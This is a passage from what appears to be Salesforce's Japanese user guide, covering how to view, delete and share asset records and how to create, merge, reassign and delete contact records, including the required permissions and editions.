で [納入商品] タブが表示され、[納入商品] タブをホームページに追加できま
す。

納入商品の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

納入商品を参照する
• 納入商品に対する「参

照」

納入商品を変更する
• 納入商品に対する「編

集」

[商品] タブ、あるいは関連取引先または取引先責任者から納入商品を表示できま
す。
納入商品の表示

商品のホームページまたはリストページで納入商品を指定し、納入商品名を
クリックすると、詳細情報が表示されます。詳細のフロート表示が有効に
なっている場合、詳細ページで参照項目の上にカーソルを置くと、クリック
してレコードの詳細ページに入る前に、レコードに関する情報を表示できま
す。

納入商品の更新とコメントの表示 (Chatter)

この納入商品についての更新、コメント、投稿のChatterフィードを表示しま
す。

納入商品の編集
• 詳細ページで項目を直接編集するには、インライン編集を使用します。

インライン編集が有効になっていない場合は、システム管理者にお問い
合わせください。

• ページを編集モードで表示するには、[編集]をクリックし、変更を行って
から [保存] をクリックします。

納入商品関連リスト
詳細情報の下に、関連付けられているケース、エンタイトルメント、活動、
あるいはメモおよび添付に関する情報が表示されている関連リストがありま
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す。表示される関連リストは、ユーザが行った個人用のカスタマイズ設定、およびシステム管理者が行っ
たページレイアウトのカスタマイズ設定によって異なります。それぞれのアイテムをクリックすると、そ
の詳細情報が表示されます。表示する件数を増やすには、ページの下部にある [増やす] または関連リスト
の下にある [さらに表示] をクリックします。

納入商品の印刷
レコードの詳細の印刷用表示を開くには、ページの右上隅にある [印刷用に表示] をクリックします。

最後に表示したビューに戻るには、納入商品の詳細ページの上部にある[最後に開いたビューへ]をクリックし
ます。折りたたみ可能なセクションを組織が有効にした場合、ユーザは、各詳細ページのセクションヘッダー
の横にある矢印アイコンを使用して、詳細ページの各セクションを折りたたみまたは拡張します。

メモ: 納入商品について取引先や取引先責任者が表示されている場合は、その納入商品を表示できます。
ただし、設定を共有すると、その納入商品の取引先責任者と関連付けられている取引先をユーザが表示
できなくなる場合があります。

納入商品の削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

納入商品を参照する
• 納入商品に対する「参

照」

納入商品を削除する
• 納入商品に対する「削

除」

削除した納入商品を復元
する
• 納入商品に対する「削

除」

納入商品は取引先および取引先責任者レコードと関連付けられているため、こ
れらのレコードから納入商品を削除したり、[商品] タブを使用して納入商品を個
別に削除したりすることができます。納入商品を削除する前に、次の可能性を
確認します。
• 納入商品がケースと関連付けられている

ケースと関連付けられている納入商品は削除できません。これには、ケース
に表示されている納入商品と関連付けられている取引先または取引先責任者
レコードの削除も含まれます。

• 納入商品が商品と関連付けられている
納入商品が商品に基づいている場合は、商品を削除しても納入商品は削除さ
れません。

• 納入商品が取引先または取引先責任者と関連付けられている
取引先または取引先責任者を削除すると、関連付けられているすべての納入
商品も削除され、ごみ箱に移動します。
納入商品と関連付けられている取引先責任者を持つ取引先を削除すると、こ
れら 3 つのレコードがすべて削除されます。全 3 つのレコードを復元するに
は、取引先レコードを復元します。

• 納入商品に親納入商品と子納入商品がある
親納入商品と子納入商品が両方存在する納入商品を削除する場合は、その親
と子が納入商品階層でリンクされなくなることに注意してください。

メモ: 関連するレコードを削除することなく、個別に納入商品を削除でき
ます。ただし、関連するレコードを後から削除すると、納入商品をごみ箱
から復元できなくなります。

納入商品を削除する手順は、次のとおりです。
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1. 取引先または取引先責任者の納入商品関連リスト、または [商品] タブの納入商品リストビューで納入商品
を指定します。

2. 削除する納入商品の横にある [削除] をクリックします。
3. [OK] をクリックします。

関連トピック:

納入商品とは?

納入商品の項目履歴管理の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition

項目履歴管理を有効化することで、納入商品レコードへの変更を追跡できます。
項目履歴管理を使用して、次の情報を表示できます。
• 項目の変更日時
• 変更内容
• 変更実施者
納入商品項目の追跡を有効にするには、納入商品のオブジェクト管理設定から、
項目セクションに移動して [項目履歴管理の設定] をクリックします。「項目履
歴管理」 (ページ 1202)も参照してください。
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納入商品の納入商品所有者の指定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition

ユーザ権限

共有を有効化する
• 「共有の管理」

ページレイアウトを作
成、編集、および削除す
る
• 「アプリケーションの

カスタマイズ」

納入商品レコードの [納入商品所有者]項目は、階層および共有ベースのアクセ
ス制御を設定するために使用されます。デフォルトでは、納入商品所有者は、
納入商品レコードを作成するユーザです。
Spring '15 以降、納入商品オブジェクトの共有設定が [非公開]、[公開/参照のみ]、
または [公開/参照・更新可能] である場合は、[納入商品所有者] 項目がアクセス
制御に使用されるようになりました。納入商品オブジェクトの共有設定が[親レ
コードに連動] の場合、[納入商品所有者] 項目はアクセス制御に影響を与えませ
ん。これは、親取引先の設定によって納入商品へのアクセスが制御されるため
です。
Spring '15 より前に有効化された Salesforce では、納入商品オブジェクトの共有設
定を有効にすると、納入商品レコードの [納入商品所有者] 項目を自動的に更新
することができます。共有設定では、[納入商品所有者] 項目の値が次のいずれか
に設定されます。
• アセットを作成したユーザ
• 親取引先の所有者
デフォルトでは、[納入商品所有者]項目はページレイアウトに表示されません。
[納入商品所有者]項目をページレイアウトに追加するには、納入商品のオブジェ
クト管理設定から、[ページレイアウト] に移動します。
1. [設定] から、[クイック検索] ボックスに「納入商品設定」と入力し、[納入商

品設定] を選択します。
2. [納入商品の共有の有効化] オプションを選択します。

新しく作成された納入商品レコードの場合、デフォルトの [納入商品所有者]項目を設定するオプションが
表示されます。

3. [納入商品所有者] を次のいずれかに設定します。
• 納入商品の作成者
• 親取引先の所有者

4. 変更内容を保存します。
納入商品レコードの納入商品所有者を変更するには、[納入商品] タブをクリックして納入商品レコードを選択
します。あるいは、[取引先]、[取引先責任者]、または [商品] タブの [納入商品] 関連リストから納入商品レコー
ドを開きます。[納入商品の詳細] セクションで、[納入商品所有者] 項目の横にある [変更]をクリックし、別の
ユーザを選択します。

関連トピック:

オブジェクト管理設定の検索
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納入商品の共有ルールの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition

ユーザ権限

共有を有効化する
• 「共有の管理」

共有ルールでは、定義されたユーザセットについて、組織全体の共有設定に自
動的な例外を設けることができます。組織が Spring '15 より前に作成された場合、
組織の納入商品に対して共有ルールを作成および適用できるように、共有設定
を有効化する必要があります。
これまで、納入商品オブジェクトは取引先オブジェクトの子オブジェクトであ
り、そのために納入商品オブジェクトの表示は親オブジェクトの設定に基づい
ていました。Spring '15 で納入商品オブジェクトは再設計され、子オブジェクト
ではなく個別の標準オブジェクトになりました。そのため、納入商品レコード
に対して共有ルールを作成して適用できます。

メモ:  Spring '15 以降に作成される組織では、デフォルトで共有が有効化され
るため、この手順をスキップできます。Spring '15 より前に作成された組織
では、共有はデフォルトで無効化されています。共有ルールを使用する場
合は、共有設定を有効化する必要があります。

1. [設定] から、[クイック検索] ボックスに「納入商品設定」と入力し、[納入商
品設定] を選択します。

2. [納入商品の共有の有効化] の横にあるチェックボックスをオンにします。
3. [保存] をクリックします。

これで、納入商品に対して共有ルールを作成して適用できるようになりました。
納入商品の共有を有効化した後で、システムが [所有者] 項目に入力する方法を指定します。

納入商品の共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition

ユーザ権限

納入商品を参照する
• 納入商品に対する「参

照」

納入商品の共有の詳細を表示および管理するには、納入商品の詳細ページで[共
有]をクリックします。共有の詳細ページには、納入商品への共有アクセス権を
持つユーザ、グループ、ロール、およびテリトリーが一覧表示されます。
システム管理者は、組織全体に対するデフォルトの共有モデルを定義します。
このモデルを変更して、システム管理者が設定したデフォルトよりも多くのユー
ザを共有するように拡張できます。ただし、デフォルトよりも厳しくするため
に共有モデルを変更することはできません。
共有の詳細ページから、次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[ビュー]ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。作成したビューを編集または削除
するには、[ビュー]ドロップダウンリストから選択して[編集]をクリックし
ます。

• 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス
権を付与するには、[追加] をクリックします。

メモ: 別のユーザと納入商品を共有するには、そのユーザに納入商品に
関連する取引先へのアクセス権があり、納入商品に対する「参照」権限
を持っている必要があります。
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• レコードへのアクセス権を持つすべてのユーザを表示するには、[リストの拡張] をクリックします。
• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集] か [削除] をクリック

すると、アクセスレベルを編集または削除できます。

納入商品共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

納入商品共有ルールは、レコードタイプや特定の項目値など、レコード所有者
または他の条件に基づいて作成できます。
最大で300件の納入商品共有ルールを定義し、条件に基づく共有ルールを最大で
50 件含めることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [納入商品共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. [納入商品のアクセス権] の設定を選択します。
10. 残りの項目で、共有納入商品に関連付けられているレコードのアクセス設定を選択します。
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説明アクセス権の設定

ユーザは、納入商品の参照、編集、または削除を実
行できます。この操作ができるかどうかは、ユーザ

親レコードに連動

がその納入商品オブジェクトに関連付けられている
親オブジェクトに対して同様の操作ができるかどう
かに基づいています。[親レコードに連動] はデフォ
ルトのアクセス設定です。

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。

非公開
(関連付けられた取引先責任者、商談、およびケース
でのみ使用可能)

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

メモ:  [納入商品のアクセス権] は、納入商品に対する組織の共有設定が [親レコードに連動]に設定され
ているときは無効です。

11. [保存] をクリックします

一緒に仕事をしているユーザの追跡

取引先責任者

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者とは、いずれかの取引先または商談などの他のレコードに関連付
けられている責任者です。通常、取引先責任者は営業先の従業員です。取引先
責任者の詳細には、名前、携帯電話番号、役職など、効率的に商談に取り組む
のに必要な情報があります。

取引先責任者の作成に関する考慮事項
取引先責任者を作成する前に、次のいくつかの重要事項を考慮してくださ
い。
取引先責任者の表示および管理のガイドライン
取引先責任者ホームページを使用して、取引先責任者を表示および管理します。
取引先責任者の役割を使用する場合の考慮事項
取引先責任者の役割では、取引先、ケース、契約、または商談でユーザが果たす役割を指定できます。取
引先責任者の役割を使用すると、問い合わせ先と問い合わせる時期に関する詳細情報が得られます。取引
先責任者の役割を使用するときの注意事項をいくつか示します。
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登録情報照会による取引先責任者の更新
取引先責任者や個人取引先に取引先責任者情報の更新をすばやく簡単に要求するには、登録情報照会を送
信します。
取引先責任者の取引先の変更に関する考慮事項
取引先責任者に関連付けられている取引先を変更する前に、次の重要事項を考慮してください。
重複する取引先責任者のマージ
重複する取引先責任者が同じ取引先に関連付けられている場合は、それらをマージできます。マージする
ことでデータが整理され、最新のものになります。
取引先責任者の組織図の表示
取引先責任者の会社の組織図を把握します。各取引先責任者について、取引先責任者階層を備えた組織図
を表示できます。これで、営業戦略を策定するための情報をさらに多く得ることができます。
取引先責任者の削除に関する考慮事項
ほとんどの取引先責任者は 1 回のクリックで削除できます。ただし、取引先責任者を削除する前に、誰が
取引先責任者を削除できるか、また取引先責任者に関連付けられたレコードがどうなるかを知っておく必
要があります。

関連トピック:

個人取引先とは?

ソーシャル取引先、取引先責任者、およびリード
Lightning Experience でのメールおよびテンプレートの管理
Lightning Experience での作業の管理と過去の活動の表示

取引先責任者の作成に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者を作成する前に、次のいくつかの重要事項を考慮してください。
• 取引先責任者は Salesforce 内の複数の場所で作成できます。

– 取引先の詳細ページで取引先責任者を作成する。
– Salesforce1 アプリケーションを使用してモバイルデバイスから取引先責任

者をインポートする。
– [取引先責任者] 領域で取引先責任者を作成する。

メモ: この方法を使用する場合、取引先を追加しないと新しい取引先
責任者は非公開になります。

• 取引先と自動的に関連付けられた取引先責任者を作成するには、取引先の詳細ページで取引先責任者を作
成します。

• Salesforce組織でレコードタイプを使用している場合、取引先責任者を作成するときに [レコードタイプ] の
選択を要求されることがあります。レコードタイプが異なると、項目や選択リスト値が異なる場合があり
ます。

• Salesforce 組織でディビジョンを使用している場合、新しい取引先責任者のディビジョンは、自動的に関連
する取引先のディビジョンに設定されます。
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• 特別な理由がない限り、取引先責任者は常に取引先に関連付けます。取引先のない取引先責任者は、その
所有者とシステム管理者以外のすべてのユーザに対して非表示になるため、見つけることが困難で忘れて
しまいがちです。

関連トピック:

取引先責任者
レコードの作成および更新
モバイルデバイスの取引先責任者リストから Salesforce への取引先責任者のインポート
取引先責任者の項目
取引先責任者の共有

取引先責任者の表示および管理のガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

取引先責任者を参照する
• 取引先責任者に対する

「参照」

取引先責任者を作成する
• 取引先責任者に対する

「作成」

取引先責任者ホームページを使用して、取引先責任者を表示および管理します。
• 個人取引先は、取引先責任者ホームページの [最近参照したデータ] リストに

表示されません。
• Salesforce Classic を使用している場合、取引先責任者リストの印刷用表示が使

用できます。印刷用表示は PDF として保存できます。
• 取引先責任者リストビューで個人取引先を選択すると、対応する個人取引先

が [取引先] ページに表示されます。
• 取引先責任者の条件検索されたリストを表示するには、ドロップダウンリス

トから事前定義されたビューを選択します。Professional Edition、Enterprise Edition、
Unlimited Edition、Performance Edition、および Developer Edition の組織では、管理
者は共有モデルで許可されているアクセス権を超えて、取引先責任者に対す
るアクセスを許可できます。
Salesforce Classic を使用している場合は、次の操作を実行します。
– 独自のカスタムビューを定義するには、[新規ビューの作成]をクリックし

ます。
– 作成したビューを編集または削除するには、[ビュー] ドロップダウンリ

ストから選択して [編集] をクリックします。
• 個人取引先を見つけやすくするには、カスタムリストビューを作成し、[個人取引先] アイコンを列として

追加します。
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• Salesforce Classicを使用している場合、キャンペーンに取引先責任者を追加するには、取引先責任者の横にあ
るチェックボックスをオンにして、[キャンペーンに追加] をクリックします。表示されているレコードを
すべて選択するには、列のヘッダーにあるチェックボックスをオンにします。

関連トピック:

取引先責任者
取引先責任者の取引先の変更に関する考慮事項
取引先責任者の共有
パートナーが Salesforce を使用しているかどうかの確認
取引先

取引先責任者の役割を使用する場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者の役割では、取引先、ケース、契約、または商談でユーザが果た
す役割を指定できます。取引先責任者の役割を使用すると、問い合わせ先と問
い合わせる時期に関する詳細情報が得られます。取引先責任者の役割を使用す
るときの注意事項をいくつか示します。

重要: Salesforce Classic では、取引先責任者の役割は取引先、商談、ケース、
契約で使用できます。Lightning Experience では、取引先責任者の役割は商談
と契約で使用できます。取引先責任者の役割は各使用可能なオブジェクト
でほぼ同じように機能しますが、それぞれ独立して動作します。そのため、
オブジェクトごとに個別に設定して使用する必要があります。

• [取引先責任者の役割] 関連リストに一覧表示される取引先責任者レコードを参照するには、それらのレコー
ドへの適切なユーザ権限および共有アクセス権が必要です。

• 商談に取引先責任者の役割を追加すると、レコードの取引先に関連付けられた最大 50 人の取引先責任者か
ら選択できます。

• 1 人の取引先責任者または個人取引先が、さまざまなレコードで異なる取引先責任者の役割を使用できま
す。

• 取引先では取引先責任者の役割に個人取引先を追加することはできますが、推奨されません。代わりに、
[パートナー] 関連リストを使用して個人取引先を他の取引先に関連付けます。

関連トピック:

取引先責任者の役割の追加と管理
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登録情報照会による取引先責任者の更新

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

更新を要求する
• 「登録情報照会の送

信」

および

「メールの送信」

取引先責任者や個人取引先に取引先責任者情報の更新をすばやく簡単に要求す
るには、登録情報照会を送信します。

メモ: 登録情報照会は、Summer '17 以降すべての Salesforce 組織で廃止される
予定です。詳細は、「Stay-in-Touch Request Retirement」を参照してください。

取引先責任者または個人取引先に有効なメールアドレスがある場合は、次のユー
ザに更新を要求できます。
• 自分が所有する取引先責任者
• 自分が所有する取引先に関連する取引先責任者
• 共有ルールまたは手動によるレコード共有の指定があるために編集が可能な

取引先責任者
• 自分が所有する個人取引先
1. 取引先責任者または個人取引先の詳細ページで、[登録情報照会] をクリック

します。
自分の登録情報照会設定に応じて、送信メールが作成されます。

2. メールの詳細を編集します。
3. [送信] をクリックします。受信者の [メール送信除外] 設定には関係なく、個別に登録情報照会を送信でき

ます。
受信者はメールを受信するとリンクをクリックし、更新を行うか、変更が不要なことを確認します。メー
ル通知を受信します。

4. メールに記載されたリンクをクリックして、新規情報を更新、確認、受け入れまたは拒否します。

関連トピック:

登録情報照会の返信を使用した取引先責任者の詳細の更新
一括登録情報照会による複数のユーザへの取引先責任者更新情報の要求
取引先責任者の組織図の表示

取引先責任者の取引先の変更に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者に関連付けられている取引先を変更する前に、次の重要事項を考
慮してください。

メモ: 取引先責任者に親取引先があり、組織の共有設定が [親レコードに連
動] の場合、取引先責任者を編集するには取引先に対する「編集」アクセス
権が必要です。

• 次のいずれかが当てはまる場合、取引先責任者に関連付けられている取引先
を変更できます。
– 取引先責任者へのアクセス権があり、対象取引先の所有者であるか、ロー

ル階層で所有者の管理者である。
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– 取引先責任者の所有者であるか、取引先責任者へのアクセス権があり、さらに対象取引先へのアクセス
権がある。

– システム管理者である。
どの条件も満たさない場合は、関連付けられている取引先の変更についてシステム管理者にお問い合わせ
ください。

• [取引先名] を変更すると、次のようになります。
– その取引先責任者に関連するすべてのケースおよび商談は以前の取引先に関連付けられたままとなり、

新規取引先に合算されません。
– 取引先責任者に対して新たに作成されたケースおよび商談は、その新規取引先に関連付けられます。

ポータルに対して有効化されている取引先責任者については、こちらの考慮事項を確認してください。

関連トピック:

取引先責任者
取引先責任者の共有

重複する取引先責任者のマージ
重複する取引先責任者が同じ取引先に関連付けられている場合は、それらをマージできます。マージすること
でデータが整理され、最新のものになります。

Lightning Experience での重複する取引先責任者のマージ
Lightning Experience を使用して重複する取引先責任者をマージします。
Salesforce Classic での重複する取引先責任者のマージ
Salesforce Classic を使用して重複する取引先責任者をマージします。

関連トピック:

重複する取引先責任者のマージに関する考慮事項
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事項
登録情報照会の返信を使用した取引先責任者の詳細の更新
取引先責任者と個人取引先に対するカスタマーポータルの有効化

重複する取引先責任者のマージに関する考慮事項
重複する取引先責任者レコードをマージする場合は、次の点に留意してください。
主取引先

Lightning Experience では、取引先責任者がポータルユーザに関連付けられていない限り、異なる主取引先を
持つ取引先責任者をマージできます。Salesforce Classicでは、同じ主取引先を持つ取引先責任者のみをマージ
できます。この主取引先は、取引先責任者レコードの [取引先名] 項目にリストされる取引先です。
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重複するリレーション
同じ取引先に間接的に関連する取引先責任者をマージしようとすると、Salesforce は、重複するリレーショ
ンの削除を推奨するメッセージを表示します。取引先責任者レコードの間接的なリレーションは、[関連取
引先] 関連リストで管理されます。

ポータルユーザ
Lightning Experience を使用してポータルユーザに関連付けられている取引先責任者をマージする場合、マー
ジ中にポータルユーザの状況は表示されません。マージされたレコードは、マスタレコードのポータルユー
ザの状況を保持します。Salesforce Classic を使用してポータルユーザに関連付けられている取引先責任者を
マージする場合、マージ中にポータルユーザの状況が表示されます。マージされたレコードで保持するポー
タルの状況を選択できます。Lightning ExperienceおよびSalesforce Classicでは、主取引先責任者をポータルユー
ザに関連付ける必要があります。マージ後の取引先責任者は主取引先責任者のポータルユーザ状況を保持
します。主取引先責任者以外の取引先責任者がポータルユーザに関連付けられている場合、そのユーザは
無効になります。

関連項目、Chatter フィード、添付ファイル
重複するレコードがキャンペーンや活動などの項目に関連する場合、Salesforce はその項目を、マージされ
たレコードに関連付けます。ただし、いくつかの例外があります。マスタレコードからの Chatter フィード
のみが保持されます。Chatterフィードの添付ファイルは Salesforce 内で保持されますが、マージされたレコー
ドに関連付けられません。欠落したファイルを、マージされたレコードに関連付けるには、[ファイル] ホー
ム (Lightning Experience) または [ファイル] タブ (Salesforce Classic) でそのファイルを見つけます。次に、該当の
ファイルを、マージされたレコードの [ファイル] 関連リストに追加します。

キャンペーン
重複取引先責任者が他のキャンペーンのメンバーである場合、[メンバーの状況が更新された] 項目の日付
が各取引先責任者に保持され、マージされた取引先責任者に関連付けられます。

非表示項目と参照のみ項目
Salesforce では、マスタレコードの非表示項目または参照のみ項目 (共有設定など) のデータをすべて保持し
ます。マージ中、非表示項目は表示されません。マージされたレコードは、どちらのレコードがマスタで
あるかに関わらず、マージされた最も古いレコードの [作成者] ユーザと [作成日] を保持します。レコー
ドには、[最終更新者] の日付がマージ日として表示されます。

主取引先責任者以外の取引先責任者
主取引先責任者以外の取引先責任者はごみ箱に移動します。

関連トピック:

重複する取引先責任者のマージ
取引先責任者の項目
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事項

1445

一緒に仕事をしているユーザの追跡顧客への営業



ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

カスタマーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ポータルユーザと関連付けられている取引先責任者をマージする前に、次の重
要事項を考慮してください。
• ポータル取引先責任者を他のポータル取引先責任者とマージできます。たと

えば、次のものを使用できる取引先責任者をマージできます。
– パートナーポータルを使用できる取引先責任者を、カスタマーポータル

を使用できる取引先責任者とマージする (またはその逆)

– パートナーポータルまたはカスタマーポータルを使用できる取引先責任
者を、ポータルを使用できない取引先責任者とマージする

• パートナーユーザおよびカスタマーユーザを含む取引先責任者をマージする
前に、残す必要のあるポータルユーザの種類を決定します。残さないユーザ
は無効化されます。ただし、取引先責任者がマージされた後で、マージプロ
セス中に取引先責任者を削除したポータルにアクセスするために取引先責任
者を有効にすることができます。

• マージプロセス時に無効化されたポータルユーザは、所有しているレコード
の所有権を保持します。たとえば、ポータルユーザがケースを所有してお
り、そのポータルユーザが無効化されると、ケースに新しい所有者が割り当
てられるまで、そのケースの所有権はユーザに保持されます。

• さまざまな取引先に関連付けられている取引先責任者をマージするには、マージする取引先責任者を 1 つ
の取引先に移行してから、共通の取引先に関連付けられている取引先責任者をマージします。
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Lightning Experience での重複する取引先責任者のマージ

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
すべてのエディション

カスタマーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

取引先責任者をマージす
る
• 取引先責任者に対する

「削除」

カスタマーポータル対応
の取引先責任者をマージ
する
• 取引先責任者に対する

「削除」

および

「セルフサービスユー
ザの編集」

パートナーポータル対応
の取引先責任者をマージ
する
• 取引先責任者に対する

「削除」

および

「パートナーの管理」

Lightning Experience を使用して重複する取引先責任者をマージします。
1. 取引先責任者レコードを選択します。重複が存在する場合、重複は [潜在的

な重複] 関連リストに表示されます。または、取引先責任者に表示されてい
る [重複を表示] リンクをクリックします。

2. マージする取引先責任者レコードを 3 つまで選択します。[続行] をクリック
します。

3. 主となる取引先責任者レコードを 1 つ選択します。

メモ: Lightning Experience では、マージ中にポータルユーザの状況は表示
されません。

4. 保持する項目値を選択します。
5. レコードをマージすることを確認し、[次へ]をクリックして[取引先責任者の

マージ] をクリックします。

関連トピック:

重複する取引先責任者のマージに関する考慮事項
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事
項
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Salesforce Classic での重複する取引先責任者のマージ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

カスタマーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルを使
用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

取引先責任者をマージす
る
• 取引先責任者に対する

「削除」

カスタマーポータル対応
の取引先責任者をマージ
する
• 取引先責任者に対する

「削除」

および

「セルフサービスユー
ザの編集」

パートナーポータル対応
の取引先責任者をマージ
する
• 取引先責任者に対する

「削除」

および

「パートナーの管理」

Salesforce Classic を使用して重複する取引先責任者をマージします。
1. 取引先の [取引先責任者] 関連リストで、[取引先責任者のマージ] をクリック

します。
2. マージする取引先責任者を 3 人まで選択します。検索ボックスを使用してリ

ストを絞り込むか、[すべての取引先責任者] をクリックしてすべての取引先
責任者のリストを表示します。[次へ] をクリックして続行します。

3. マスタレコードとなる取引先責任者を 1 人選択します。
4. 組織でパートナーポータルまたはカスタマーポータルを使用している場合

は、ポータルユーザとして保持するレコードを選択できます。マージされた
取引先責任者にポータルユーザが含まれないようにするには、[ポータルユー
ザではない] を選択します。

5. 残す項目値を各レコードから選択します。値が競合する項目は強調表示され
ます。

6. [マージ] をクリックします。
実際の操作を確認: How to Merge Contacts in Salesforce (Salesforce での取引先責任者
のマージ方法)

関連トピック:

重複する取引先責任者のマージに関する考慮事項
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事
項
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取引先責任者の組織図の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

組織図を参照する
• 取引先責任者に対する

「参照」

組織図を変更する
• 取引先責任者に対する

「編集」

取引先責任者の会社の組織図を把握します。各取引先責任者について、取引先
責任者階層を備えた組織図を表示できます。これで、営業戦略を策定するため
の情報をさらに多く得ることができます。
1. 取引先責任者の組織図を表示するには、取引先責任者のレコードの [上司]

項目に、取引先責任者のマネージャの名前を入力します。
2. 変更内容を保存します。
3. 取引先責任者のレコードの [View Org Chart]をクリックすると、取引先責任者

の組織図が表示されます。

メモ: 組織図全体を管理するには、取引先に追加されているすべての取引
先責任者の [上司] 項目に、別の取引先責任者を入力します (組織図の最上
部の取引先責任者を除く)。取引先責任者に上司がいない場合は、同じ取引
先にどれほど多数の取引先責任者が割り当てられていても、組織図には 1

人だけが表示されます。

関連トピック:

取引先責任者
登録情報照会による取引先責任者の更新

取引先責任者の削除に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ほとんどの取引先責任者は 1 回のクリックで削除できます。ただし、取引先責
任者を削除する前に、誰が取引先責任者を削除できるか、また取引先責任者に
関連付けられたレコードがどうなるかを知っておく必要があります。
• システム管理者、取引先責任者の所有者、または組織のロール階層内で取引

先責任者の所有者の上位にあり、かつ取引先責任者オブジェクトの「削除」
権限を持つユーザは、取引先責任者を削除できます。これらの要件を満たし
ている場合、取引先責任者の詳細ページ、および取引先責任者リストページ
の該当する行に、オプションとして [削除] が表示されます。

• 取引先責任者を削除すると、次の関連レコードも削除されます。関連レコー
ドに対する「削除」権限は必要ありません。
– ケースが関連付けられていない納入商品
– 添付ファイル
– キャンペーン履歴
– 行動
– メモ
– ToDo

取引先責任者に関連付けられている取引先、エンタイトルメント、および商談は削除されません。
• 削除された取引先責任者は、ごみ箱に移動されます。取引先責任者を復元すると、関連レコードは、無効

なセルフサービスユーザ名も含めてすべて復元されます。
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• 活動の主取引先責任者を削除すると、別の取引先責任者が代わりに主取引先責任者になります。活動を編
集して、別の主取引先責任者を手動で選択できます。

• 次のレコードが関連付けられている取引先責任者は削除できません。
– ケースが関連付けられている納入商品
– ケース
– 契約
– パートナーユーザ
– サービス契約
– 有効なセルフサービスユーザ
– 有効なカスタマーポータルユーザ

関連トピック:

レコードの削除

取引先責任者の共有

エディション
